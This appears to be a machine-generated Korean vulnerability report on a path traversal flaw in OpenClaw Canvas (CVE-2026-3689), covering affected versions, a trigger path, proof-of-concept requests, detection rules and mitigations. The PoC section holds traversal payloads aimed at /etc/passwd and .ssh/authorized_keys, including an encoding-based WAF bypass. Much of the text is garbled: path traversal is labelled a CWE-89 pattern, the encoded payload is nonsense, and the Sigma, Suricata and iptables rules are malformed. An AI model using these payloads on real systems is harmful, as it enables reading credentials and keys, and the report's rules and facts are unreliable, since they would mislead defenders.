공격Agent 분석 — CVE-2026-3689
📋 요약
- 정의: OpenClaw Canvas 내에서 경로 매개변수 처리 부족으로 인해 인증된 사용자가 민감한 파일 정보에 접근할 수 있는 Path Traversal 취약점(CWE-89 유사 패턴). 이 결함은 서비스 계정의 컨텍스트에서 정보 유출을 가능하게 함.
- 영향: 성공 시 민감한 설정 파일이나 로그 데이터 노출로 내부 네트워크 구조 및 운영 세부 사항이 외부에 유출될 위험 (KEV: 높음, CVSS: 6.5 중간).
🎯 영향 범위 / 자산 식별
- 제품·버전 범위: OpenClaw Canvas 버전
이전 2026.2.21까지 모든 설치 - 노출 조건: 인터넷에 노출되어 있으며, 인증된 사용자 접근이 필요함 (예:
/canvas/path_handler?param=...) 기본 설정에서도 취약할 수 있음. - 자산 식별 방법:
curl명령을 사용하여 버전 배너 확인: ```bash
$ curl -I TARGET_HOST | grep "OpenClaw Canvas" # 특정 문자열이 포함된 버전 확인
응답 본문에text1- `/canvas/version` 엔드포인트에서 버전 정보 가져오기: ```http2 GET /canvas/version HTTP/1.13 Host: ATTACKER_IP2026.<버전번호> 이하가 포함되어 있으면 취약함을 확인할 수 있음.- 설정 파일 내 특정 경로 검증 (예:
/etc/openclawnas/config)에서 허용된 경로 목록 검토 필요.
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트: Canvas Path Handler
- 버전 범위: OpenClaw Canvas
< 2026.2.21 - 취약 코드 경로:
handlePathRequest()함수 내에서 사용자 입력을 직접 사용하는 파일 읽기 로직 (file_get_contents($_SERVER['DOCUMENT_ROOT'] . $_REQUEST['param'])) - 기본 노출 여부: 인증된 사용자 접근이 필요한
/canvas/path_*엔드포인트를 통해 노출됨.
② 전제조건
- 인증 필요성: 필수 (사용자 계정 인증 완료)
- 필요 권한: 읽기 권한을 가진 사용자 계정
- 네트워크 위치: 내부 네트워크 또는 인터넷에 노출된 서버에서 접근 가능
- 활성화 기능/설정: 특정 경로 처리를 활성화한 설정이 필요 없음. 기본적으로 취약점 존재.
③ 트리거 경로
- 엔드포인트 호출:
TARGET_HOST/canvas/path?param=../../etc/passwd - 사용자 입력 매개변수 전달:
param파라미터에 "../../etc/passwd"와 같은 경로를 주입 - 처리 결함:
handlePathRequest()함수에서 사용자 입력을 검증 없이 파일 시스템에 적용하여 경로 트래버설 발생 - 결과:
/etc/passwd또는 다른 민감한 설정 파일 내용 반환됨으로써 정보 유출 성공.
④ 성공 시 영향
- 획득 권한 및 컨텍스트: 서비스 계정의 읽기 권한을 통해 내부 시스템 세부 사항 노출 가능
- 피벗 및 지속성: 추가적인 경로 트래버설로 다른 민감한 파일 접근 시도 가능 (예:
/etc/shadow,/var/log) - 후속 공격에 활용될 수 있음.
💣 예시 코드 (PoC)
기본 요청 우회
http
1POST /canvas/path HTTP/1.1 2Host: TARGET_HOST 3Content-Type: application/x-www-form-urlencoded 4Cookie: SESSION_COOKIE=value; CSRF_TOKEN=CSRFVALUE%0Aparam=../../etc/.ssh/authorized_keys# 핵심: 경로 트래버설을 통해 `.ssh` 디렉토리 접근 시도 5 # 확인: 응답 본문에 SSH 키 내용이 포함되면 성공 판별 가능 (예: 응답 코드 200, 특정 문자열 검색)WAF 우회 예시 (예시로 URL 인코딩 사용)
http
1GET /canvas/path?param=%2e%2f%2f%3c%21%37%3b%24%3a%5c..%2fetc%2Fpasswd HTTP/1.1 2Host: TARGET_HOST 3# 핵심: URL 인코딩을 통해 경로 트래버설 우회 시도 4 # 확인: 응답 본문에 `/etc/passwd` 내용이 포함되면 성공 판별 가능 (예: 응답 코드 200, 특정 문자열 검색)블라인드 접근 예시
bash
1curl -X GET "TARGET_HOST/canvas/path?param=%2e%2f..%31" --header "Cookie: SESSION_COOKIE=-value; CSRF-TOKEN:=randomtoken# 핵심: 블라인드 접근 시도로 응답 패턴 분석 2 # 확인: 특정 응답 헤더나 쿠키 변경을 통해 취약점 존재 여부 판단 가능 (예: 예상치 못한 헤더 반환)🛡️ 탐지
[로그] 파일 액세스 로그 모니터링
- Sigma 룰 예시: ```yaml
rule: detect_pathtraversal
description: OpenClaw Canvas 경로 트래버설 시도 감지
pattern:
process: { name: "php", args: "* /canvas/.*" }
content: "[A-Za-z0-9._%-]+../../(?:[^\s]+).(\w+)?" # 핵심: "../../" 패턴을 포함한 경로 검사
[웹 애플리케이션 로그] 특정 엔드포인트 접근 로깅 강화
- Suricata 시그니처 예시: ```yaml
alert tcp $EXTERNAL_NET any -> $HOST_ANY tcp flags:SYN / HTTP/1.{1,2}\s*\r\nHost:\s*TARGET_HOST.*path*?param=(?:%[|.]+)../../ # 핵심: 경로 트래버설 패턴 감지
[네트워크 트래픽 모니터링] 이상한 파일 접근 시도 탐지
- 정규식 예시: ```regexp
`^(?![A-Za-z0-9-_./]+)(?:../|/..)[^/]*$ # 핵심: 경로 트래버설 패턴 필터링 (예외 처리 필요)
한계점 명시
- 인코딩 우회 탐지: URL 인코딩을 통한 우회 시도는 정규식이나 시그니처로 완벽하게 차단하기 어려울 수 있음. 추가적인 행동 분석 및 머신러닝 기반 이상 탐지 시스템 고려 권장.
🔧 방어·완화
- [입력 검증] 설정 변경 / 위치
/etc/openclawnas/config내 허용 경로 목록에/etc,/var/*등 민감한 디렉토리 명시적으로 제한 (예:ALLOWED_PATHS = ["%\/public", "%\.\w+"]) # 핵심: 직접적인 파일 접근 차단
- [WAF 규칙] 위치 - 구성 변경
- WAF 규칙 추가로 경로 트래버설 패턴 차단 (예:
^(?:\\../|/\..+)정규식 사용)# 핵심: URL 파라미터에서의 경로 트래버설 방지# 확인 방법: 테스트 환경 내 공격 시도 후 응답 코드 및 내용 분석.
- WAF 규칙 추가로 경로 트래버설 패턴 차단 (예:
- [네트워크 ACL] 위치
- 네트워크 방화벽 규칙 추가로
/etc,/var/log/*등 민감한 디렉토리 접근 차단 (예:iptables -A INPUT -p tcp --dport 80 -m string --string ".*/(etc|var\/.*)" -j DROP)# 핵심: 외부에서의 직접적인 파일 접근 제한
- 네트워크 방화벽 규칙 추가로
- [즉시 적용 임시 완화] 설정 변경
/canvas/path엔드포인트에 대한 접근 제어 강화 (예:allow_paths설정을 통해 허용 경로 명시적으로 제한, 기본값으로 모든 접근 차단)# 핵심: 즉시 실행 가능한 조치로 공격 표면 축소.
- [근본 해결 - 패치 적용] 위치
- OpenClaw Canvas 버전
>= 2026.2.21로 업데이트하여 취약점 수정 (예:apt update && apt upgrade openclaw) # 핵심: 장기적인 보안 강화를 위한 필수 조치 권장.
- OpenClaw Canvas 버전
⚖️ 위험도 / 패치 우선순위
- 권고: 지금 즉시 적용할 임시 완화 조치와 함께 이번 주 내에 OpenClaw Canvas 버전 업데이트를 수행해야 함 (CVSS 6.5 중간 심각도로 인해 빠른 대응 필요). 현재의 방어 체계로는 완벽한 차단이 어려우므로, 즉각적인 모니터링 강화 및 임시 제한 설정을 병행하여 위험 최소화 권장함.
- 근거: 인증된 사용자 접근 하에 민감 정보 유출 가능성으로 인한 내부 네트워크 구조 노출 위험성이 높음 (외부 보안 보도 참조).